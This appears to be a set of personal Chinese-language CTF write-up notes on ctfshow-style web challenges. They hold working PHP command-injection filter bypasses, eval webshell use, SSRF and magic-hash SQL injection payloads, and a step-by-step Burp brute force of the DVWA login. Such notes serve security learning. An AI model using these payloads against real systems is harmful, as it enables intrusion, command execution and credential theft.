机器人协议

robots.txt

不要在动啦

F12

GPI

首先get,进入step2.php,再post,再抓包加入X-Forwarded-For: 127.0.0.1

数学小天才

修改maxlength和disable,即可输入答案,但是flag不知道为啥要bp抓包才能看见

baby_rce

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

(211条消息) CTFshow刷题日记-WEB-命令执行上29-55_OceanSec的博客-CSDN博客

c=echo(`tac%09fl*`);
c=eval($_GET[1]);&1=system('nl flag.php');
// bug级别存在,也可以用伪协议读文件
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
//查看当前目录下的文件,反向找到flag.php,高亮显示
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`); //通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*"); //等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

但是我们的flag.php在上一级目录,所以要使用/fl*

日php1

CTFshow web入门 (php特性) - NPFS - 博客园 (cnblogs.com)

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?>

?num[]=1

日php2

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

将4476转化为16进制0x117c即可

日php3

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

/i 表示匹配的时候不区分大小写

/m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号

?cmd=%0aphp

注:%0a是换行的意思

日php4

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

$_GET?$_GET=&$_POST:’flag’; 意思就是说如果存在GET请求,则将POAT请求覆盖掉GET请求

highlight_file($_GET[‘HTTP_FLAG’]==’flag’?$flag: __FILE __); 意思就是说GET传参HTTP_FLAG的值为flag,则读取flag?

就构造了GET:?flag=flag POST:HTTP_FLAG=flag

没看太懂

日php5

 <?php
highlight_file(__FILE__);
include("team233.php");
//flag in class team233;
$team233 = new team233();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('team233')$v3");
}
}
}
?>

因为赋值的优先级(=)高于and所以v 0 的 值 可 以 由 v0的值可以由v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true

因为flag在类ctfshow中,所以可以直接命令执行

v1=1&v2=system(“cat team233.php”)/&v3=/;

电竞选手

F12修改关卡道具血量即可

人肉商店

抓包,修改discount为10000000

ReadCode

构造uuu[]=1&ppp[]=2

image-20230613145937736

2022新生赛5——baby_rce

image-20230613113310058

发现对flag进行了过滤,i为不区分大小写

构造?c=echo’’?><?php system(‘ls’);

image-20230613113429322

得到index.php

到上级目录看看

?c=echo’’?><?php system(‘cat /f*’);得到flag

image-20230613152239390

ez_includ1

image-20230613151821669

即可得

easy_ssrf

image-20230613152717102

url=127.0.0.1/flag.php

easy_ssrf_2

image-20230613160616776

image-20230613162825597

ctfshow

web5

image-20230613170154712

md5碰撞构造?v1=QNKCDZO&v2=240610708

web9

dirb扫描

image-20230902191049871

发现robots.txt协议

image-20230902191138665

下载打开index.phps可得

image-20230902191227253

分析代码MD5(str,true)的漏洞 md5 true参数漏洞有

数字型:129581926211651571912466741651878684928
字符型:ffifdyop

md5(‘ffifdyop’,true)=’or’6xxxxxx

因此传入ffifdyop之后,数据库查询语句变为:

select * from ‘admin’ where password= ‘’ or ’6xxxxxx ’ ,变成 ‘’ or 6

输入ffifdyop,为万能密码

image-20230902192445902

实习演练

<?php
show_source(__FILE__);
//纯纯签到题
eval($_POST['hack']);
?>

蚁剑直连

暗月渗透

bp爆破dvwa密码

登录界面,已知用户名为admin,爆破密码

image-20230815202354756

bp抓包,发现登录需要判断token是否一致

image-20230815202511071

所以要实时获取最新token,项目选项中添加会议处理规则

image-20230815202605452

添加行为规则

image-20230815202657290

添加宏

image-20230815202757324

选择网址,注意为get方法

image-20230815203005095

项目设置

image-20230815203050324

添加

image-20230815203142199

选定token,参数名称必须与js中的name一致,为user_token

image-20230815203213019

随后一路ok,来到会话处理器,添加,加入网址image-20230815203333372

保存后发送到测试器

image-20230815203450969

清除所有$ 选择密码作为$

image-20230815203759362

image-20230815203844969

在测试器的有效载荷中导入字典

image-20230815203538294

在选项的最后那里勾选总是关注重定向

image-20230815203705845

开始攻击

image-20230815204951280

可知密码为password

image-20230815205036735

上述操作没问题但是又得不到密码的话,可以尝试重新抓包